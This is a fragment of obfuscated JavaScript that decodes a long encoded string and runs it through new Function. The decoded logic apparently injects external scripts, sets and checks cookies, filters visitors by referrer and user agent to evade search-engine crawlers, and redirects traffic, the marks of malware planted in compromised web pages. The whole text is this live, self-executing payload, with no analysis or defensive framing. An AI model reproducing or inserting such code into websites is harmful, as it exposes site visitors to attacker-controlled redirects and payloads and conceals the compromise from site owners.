F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/CL/@@{jR8hQ^sp)Rs:7"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"hQ^sp)Rs:7"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYms5n6d1qmRT4"="@@{5p(LYpmQLqd0@fmRT4"="@@{D7(LSqms5n6d1qmRT4"="@@{dC(LJ^mQLqd0@fmRT4"="@@{(C(L:4ms5n6d1qmRT4"="@@{C2(LSYmQLqd0@fmRT4"="@@{25(LLSms5n6d1qmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/f/@@{j(8}vR8hQ^sp)Rs:7"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();